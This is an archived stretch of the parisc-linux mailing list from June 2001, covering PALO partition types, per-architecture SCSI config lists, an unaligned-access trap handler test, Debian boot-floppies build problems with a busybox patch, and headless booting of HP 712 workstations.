Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 16:54:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E90E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 16:54:37 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 0FE38C07; Fri, 22 Jun 2001 18:54:37 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5096B37D2C; Fri, 22 Jun 2001 16:57:25 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Al Budriunas <budriuna@cacr.caltech.edu> 
   of "Fri, 22 Jun 2001 13:20:42 PDT." <Pine.SOL.4.10.10106221317550.16626-100000@lugh.cacr.caltech.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:11414

Al Budriunas writes...

> Would you please share (or point me to) the procedure to change PALO
> parititon into f0 type?

1.) Run cfdisk
2.) Select the partition you want to change using the up/down arrows.
3.) Select "Type"(it may prompt you to hit space when listing the types)
4.) Enter "f0"
5.) Select "Write" to write the partition table to the disk
6.) Select "Quit" to exit cfdisk.

If you're still having problems then we may have a bug.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SCSI in arch/{m68k,parisc,sparc*}/config.in
Date: Fri, 22 Jun 2001 17:32:13 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <15155.58253.350788.177036@pizda.ninka.net>
References: <2105.993214803@ocs3.ocs-net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620237 21368 80.91.229.3 (22 Nov 2014 01:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:17 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	parisc-linux@lists.parisc-linux.org
To: Keith Owens <kaos@ocs.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 18:32:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24413482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 18:32:24 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id RAA27911;
	Fri, 22 Jun 2001 17:32:13 -0700
In-Reply-To: <2105.993214803@ocs3.ocs-net>
X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid
Xref: news.gmane.org gmane.linux.ports.parisc:11415

Keith Owens writes:
 > arch/{m68k,parisc,sparc*}/config.in have their own SCSI list instead of
 > using drivers/scsi/Config.in.  Cleaning up the SCSI config file is on
 > my 2.5 TODO list, can you tell me why these architectures have their
 > own list of SCSI devices?
 > 
 > If it is because only some SCSI drivers work on these architectures, do
 > you really need to be this specific?

If I can forward every "How come I can compile ISA SCSI device X and
it doesn't work on my UltraSPARC" email to you, I'll more than happily
start including drivers/scsi/Config.in :-)

Jeff Garzik and I just did all the necessary dep_tristate'ing for
drivers/net/Config.in and at least in my tree I include in on sparc64.

Being able to do this on every platform is certainly a goal, and for
all the PCI drivers to be portable enough to work on every platform is
the next step.  I think Jeff and I can do it for the networking
drivers, but I have no idea who would go about working on this for
the scsi stuff.

Later,
David S. Miller
davem@redhat.com




From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@ocs.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SCSI in arch/{m68k,parisc,sparc*}/config.in
Date: Sat, 23 Jun 2001 10:56:15 +1000
Lines: 14
Approved: news@gmane.org
Message-ID: <11149.993257775@ocs3.ocs-net>
References: <15155.58253.350788.177036@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620238 21372 80.91.229.3 (22 Nov 2014 01:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:18 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 18:56:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 4F358482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 18:56:21 -0600 (MDT)
Original-Received: (qmail 19359 invoked from network); 23 Jun 2001 00:56:16 -0000
Original-Received: from ocs3.ocs-net (192.168.255.3)
  by mail.ocs.com.au with SMTP; 23 Jun 2001 00:56:16 -0000
X-Mailer: exmh version 2.1.1 10/15/1999
In-reply-to: Your message of "Fri, 22 Jun 2001 17:32:13 MST."
             <15155.58253.350788.177036@pizda.ninka.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11416

On Fri, 22 Jun 2001 17:32:13 -0700 (PDT), 
"David S. Miller" <davem@redhat.com> wrote:
>If I can forward every "How come I can compile ISA SCSI device X and
>it doesn't work on my UltraSPARC" email to you, I'll more than happily
>start including drivers/scsi/Config.in :-)

ESR has already done much of the bus dependency checking for SCSI in
CML2.  We don't plan to do anything about 2.4, it is a 2.5 cleanup.  I
just wanted to confirm why some architectures had their own SCSI list,
that has now been confirmed.





From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned trap handler - comments appreciated
Date: Fri, 22 Jun 2001 23:54:43 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20010622235443.I14564@tausq.org>
References: <20010618000128.G14564@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620238 21376 80.91.229.3 (22 Nov 2014 01:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 23 00:55:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36CDD482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Jun 2001 00:55:14 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id omfjgaaa for parisc-linux@lists.parisc-linux.org; Fri, 22 Jun 2001 23:51:53 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15DhJb-0005U8-00; Fri, 22 Jun 2001 23:54:43 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010618000128.G14564@tausq.org>; from randolph@tausq.org on Mon, Jun 18, 2001 at 12:01:29AM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11417

In reference to a message from Randolph Chung, dated Jun 18:
> I just checked in an arch/parisc/kernel/unaligned.c file into palinux
> cvs.

I've updated traps.c to call the unaligned handler now. Many thanks to
jsm for his help and advice.

I've only tested this for parisc64, would appreciate if someone can test
to make sure it works on a narrow kernel as well. My test case looks
something like this:


#include <stdio.h>

struct data_t {
        unsigned long a;
        unsigned long b;
};

int main(int argc, char **argv)
{
        struct data_t data;
        unsigned char *t;
        unsigned long l;
        int i;

        data.a = 0x12345678;
        data.b = 0x87654321;

        t = (unsigned char *)(&data)+1;
        l = *((unsigned long *)t);
        printf("l = 0x%08lx\n\n\n", l);

        printf("expected result is: 0x");
        for (i = 0; i < sizeof(unsigned long); i++)
                printf("%x", *(t+i));
        printf("\n");

        printf("testing store...\n");
        *((unsigned long *)t) = 0x13572468;

        l = *((unsigned long *)t);
        printf("l = 0x%08lx\n", l);

        return 0;
}

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned trap handler - comments appreciated
Date: Sat, 23 Jun 2001 14:31:53 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20010623123220.5140C482A@dsl2.external.hp.com>
References: <20010618000128.G14564@tausq.org> <20010622235443.I14564@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620238 21378 80.91.229.3 (22 Nov 2014 01:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:18 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 23 06:32:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5140C482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Jun 2001 06:32:20 -0600 (MDT)
Original-Received: (qmail 9308 invoked by uid 0); 23 Jun 2001 12:32:18 -0000
Original-Received: from pd904031b.dip.t-dialin.net (HELO there) (217.4.3.27)
  by mail.gmx.net (mail08) with SMTP; 23 Jun 2001 12:32:18 -0000
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <20010622235443.I14564@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:11418

Hi Randolph,

I've tested your changes on a 32bit kernel:

c3000:~/unaligned# uname -a
Linux c3000 2.4.0-pa37 #1 Sam Jun 23 11:42:43 CEST 2001 parisc unknown
c3000:~/unaligned# gcc unaligned.c
c3000:~/unaligned# ./a.out
Bus error

In the syslog:
Jun 23 14:26:36 c3000 kernel: a.out(3225): unaligned access to 0xbff00649 at 
ip=0x000104fb

Greetings,
Helge

On Saturday 23 June 2001 08:54, Randolph Chung wrote:
> In reference to a message from Randolph Chung, dated Jun 18:
> > I just checked in an arch/parisc/kernel/unaligned.c file into palinux
> > cvs.
>
> I've updated traps.c to call the unaligned handler now. Many thanks to
> jsm for his help and advice.
>
> I've only tested this for parisc64, would appreciate if someone can test
> to make sure it works on a narrow kernel as well. My test case looks
> something like this:
>
>
> #include <stdio.h>
>
> struct data_t {
>         unsigned long a;
>         unsigned long b;
> };
>
> int main(int argc, char **argv)
> {
>         struct data_t data;
>         unsigned char *t;
>         unsigned long l;
>         int i;
>
>         data.a = 0x12345678;
>         data.b = 0x87654321;
>
>         t = (unsigned char *)(&data)+1;
>         l = *((unsigned long *)t);
>         printf("l = 0x%08lx\n\n\n", l);
>
>         printf("expected result is: 0x");
>         for (i = 0; i < sizeof(unsigned long); i++)
>                 printf("%x", *(t+i));
>         printf("\n");
>
>         printf("testing store...\n");
>         *((unsigned long *)t) = 0x13572468;
>
>         l = *((unsigned long *)t);
>         printf("l = 0x%08lx\n", l);
>
>         return 0;
> }
>
> randolph




From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot-floppies build status
Date: Sat, 23 Jun 2001 17:00:25 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <20010623170024.G14416@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620238 21383 80.91.229.3 (22 Nov 2014 01:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 23 09:59:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3A56482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Jun 2001 09:59:45 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 62A41B00C; Sat, 23 Jun 2001 17:00:25 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11419

Hi,
  I'm busy building new boot-floppies, and have run into sufficient
issues, that I thought I'd better write them down...

deboostrap, good news, I am using 0.1.13 with no local edits, but
it is not in the archive, so I built it myself.  pehc cvs is not
up to date atm.

slang...  to get rid of the problems with slang.so references I had
to

build and install slang1, slang1-dev, slang1-pic
build and install libnewt0, libnewt-dev, libnewt-pic
build and install whiptail
build and install util-linux
build nano-tiny

NOTE when building slang I hacked the rules file to specify
--host=hppa-linux on the configure line - apparently it builds a
broken pkg if you don't do that.

I needed groff-base, which isn't in the archive, so had to build it.

boot-floppies depended on a newer version of libbogl-dev than was in
the archive, so I had to build that.

I tried to build the latest busybox, but failed.  conflicting types for
blah blah blah.

The new dpkg-dev 1.9.12 seems broken; with that installed
apt-get -b source foo fails because it doesn't like the directory
foo is unpacked in to (expects base-config, gets base-config-1.0.8, or
similar).

Building util-linux had problems, maybe due to dpkg-dev, I think
debian/rules probably didn't have execute permissions.

I had trouble upgrading my box because I already had an apt 0.5.3.0.90,
which was taken as newer than the fixed one, 0.5.3.  Guess I got that
from pehc somewhere.

I'm now using boot-floppies source from debian cvs, with a couple of
local hacks to avoid library reduction and reduce language set, just
to speed up the build.  Also an edit to dbootstrap.h to default to
sid rather than woody.  That edit is in pehc cvs, but otherwise pehc cvs
needs bringing in to sync again.

I had whiptail crashing after upgrading to latest slang/newt/whiptail
from the archive, but having installed my own built pkgs that problem
seems to have gone away.

I tried to remove libstdc++3.0, but we still have things depending on
it:

slab:~# dpkg --remove libstdc++3.0
dpkg: dependency problems prevent removal of libstdc++3.0:
 tetex-bin depends on libstdc++3.0.
 telnet depends on libstdc++3.0.

telnet is part of base, so I had to build a new telnet.

An attempt to upgrade my system reports:
The following packages have been kept back
  debconf debhelper perl-modules 

but that isn't causing me a problem at the moment.

Known outstanding ussues:

keyboard generates 'unknown scancode 7f' for various keys, eg. capslock,
'|' on a uk keyboard.

Lines round dialog boxes use the wrong chars for serial console, or don't
exist for sti consoles.  Varies between stage 1 and 2 of install.  May be
better with my rebuilt newt/slang/whiptail stuff.  We'll see.

Kernel configs need ps/2 mouse support adding (Helge said he would, havn't
checked).

Kernel needs serial patch from Clement.

Kernel configs might need sound/harmony adding.  32 bit only?  Modules?

Last night an install on my 712 broke during 2nd stage, ran to the
end, but had never asked for root password, or to create a user, etc.
Some perl errors flashed by.  Date was 1970... Will try with the newer
stuff tonight.

Should we be building kernel-images optimised for each cpu type, like
x86 do -386, -486, -586, etc?

So, now b-f builds, and debootstrap seems happy with the pkgs in my
new base tree.  I'll see if it actually works later tonight.

Richard





From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot-floppies build status
Date: Sun, 24 Jun 2001 02:07:19 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010624020719.K14416@linuxcare.com>
References: <20010623170024.G14416@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620239 21386 80.91.229.3 (22 Nov 2014 01:37:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 23 19:06:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62A75482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Jun 2001 19:06:42 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6625AB00C; Sun, 24 Jun 2001 02:07:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010623170024.G14416@linuxcare.com>; from rhirst@linuxcare.com on Sat, Jun 23, 2001 at 05:00:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11420

On Sat, Jun 23, 2001 at 05:00:25PM +0100, Richard Hirst wrote:
> I tried to build the latest busybox, but failed.  conflicting types for
> blah blah blah.

Bug filed at bugs.d.o


diff -ur busybox-0.51.orig.clean/applets.c busybox-0.51.orig/applets.c
--- busybox-0.51.orig.clean/applets.c	Tue Apr  3 18:05:01 2001
+++ busybox-0.51.orig/applets.c	Sun Jun 24 01:40:03 2001
@@ -78,7 +78,7 @@
 	return strcmp(name, applet->name);
 }
 
-extern size_t NUM_APPLETS;
+extern const size_t NUM_APPLETS;
 
 struct BB_applet *find_applet_by_name(const char *name)
 {
diff -ur busybox-0.51.orig.clean/messages.c busybox-0.51.orig/messages.c
--- busybox-0.51.orig.clean/messages.c	Thu Mar 15 22:58:11 2001
+++ busybox-0.51.orig/messages.c	Sun Jun 24 01:38:10 2001
@@ -41,9 +41,9 @@
 #define _BB_MESSAGES_C
 
 #ifdef BB_DECLARE_EXTERN
-#  define BB_DEF_MESSAGE(symbol, string_const) extern const char *symbol;
+#  define BB_DEF_MESSAGE(symbol, string_const) extern const char * const symbol;
 #else
-#  define BB_DEF_MESSAGE(symbol, string_const) const char *symbol = string_const;
+#  define BB_DEF_MESSAGE(symbol, string_const) const char * const symbol = string_const;
 #endif
 
 




From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot-floppies build status
Date: Sun, 24 Jun 2001 16:21:58 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010624162158.M14416@linuxcare.com>
References: <20010623170024.G14416@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620239 21390 80.91.229.3 (22 Nov 2014 01:37:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 24 09:21:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 900C6482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Jun 2001 09:21:24 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 84AF8B00C; Sun, 24 Jun 2001 16:21:58 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010623170024.G14416@linuxcare.com>; from rhirst@linuxcare.com on Sat, Jun 23, 2001 at 05:00:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11421

On Sat, Jun 23, 2001 at 05:00:25PM +0100, Richard Hirst wrote:
> Last night an install on my 712 broke during 2nd stage, ran to the
> end, but had never asked for root password, or to create a user, etc.
> Some perl errors flashed by.  Date was 1970... Will try with the newer
> stuff tonight.

We need an up to date build of perl to fix this, see #100557.

Richard





From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Headless workstation?
Date: Sun, 24 Jun 2001 10:14:31 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200106241614.KAA25733@puffin.external.hp.com>
References: <20010623125642.A1563@woot.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620239 21392 80.91.229.3 (22 Nov 2014 01:37:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joe Drew <hoserhead@woot.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 24 10:15:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75AC1482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Jun 2001 10:15:21 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA25733;
	Sun, 24 Jun 2001 10:14:31 -0600
In-Reply-To: Your message of "Sat, 23 Jun 2001 12:56:42 EDT."
             <20010623125642.A1563@woot.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11422

Joe Drew wrote:
> I've got a 712/60 ...
> Is there any way to get the HP workstations to boot headless?

Yes. See
    http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Headless workstation?
Date: Sun, 24 Jun 2001 10:43:27 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200106241643.KAA25895@puffin.external.hp.com>
References: <20010624121401.A1717@woot.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620240 21396 80.91.229.3 (22 Nov 2014 01:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joe Drew <hoserhead@woot.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 24 10:44:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id EED47482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Jun 2001 10:44:17 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA25895;
	Sun, 24 Jun 2001 10:43:27 -0600
In-Reply-To: Your message of "Sun, 24 Jun 2001 12:14:01 EDT."
             <20010624121401.A1717@woot.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11423

Joe Drew wrote:
> [url details how to set up serial console]
> 
> Unfortunately I don't have a serial console available. I was looking for
> just how to disable the error on startup when a keyboard isn't available..

Ok. You can't. You can only change to serail console.
Note that 712 models are the only parisc workstations with this limitation.
All other workstations revert to serial console automatically if no
keyboard is attached.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <bvalkema@knowhowww.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Headless workstation?
Date: Sun, 24 Jun 2001 19:13:48 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <002301c0fcd1$08f98ab0$0301a8c0@BAS>
References: <200106241643.KAA25895@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620240 21401 80.91.229.3 (22 Nov 2014 01:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:20 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Joe Drew" <hoserhead@woot.net>,
	"Grant Grundler" <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 24 11:16:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsmta01-svc.chello.nl (mail-out.chello.nl [213.46.240.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6803482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Jun 2001 11:16:54 -0600 (MDT)
Original-Received: from BAS ([62.163.75.235]) by amsmta01-svc.chello.nl
          (InterMail vK.4.03.02.00 201-232-124 license dd4a379df8e387594186908c65258374)
          with SMTP id <20010624171637.ORDK11560.amsmta01-svc@BAS>;
          Sun, 24 Jun 2001 19:16:37 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11424

I have a 712/100 here, with only a keyboard attached...
Doesn't give any errors, so you might try that.

 - Bas
----- Original Message -----
From: "Grant Grundler" <grundler@puffin.external.hp.com>
To: "Joe Drew" <hoserhead@woot.net>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Sunday, June 24, 2001 6:43 PM
Subject: [parisc-linux] Re: Headless workstation?


> Joe Drew wrote:
> > [url details how to set up serial console]
> >
> > Unfortunately I don't have a serial console available. I was looking for
> > just how to disable the error on startup when a keyboard isn't
available..
>
> Ok. You can't. You can only change to serail console.
> Note that 712 models are the only parisc workstations with this
limitation.
> All other workstations revert to serial console automatically if no
> keyboard is attached.
>
> grant
>
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Headless workstation?
Date: Sun, 24 Jun 2001 21:35:37 -0600
Lines: 25
Approved: news@gmane.org
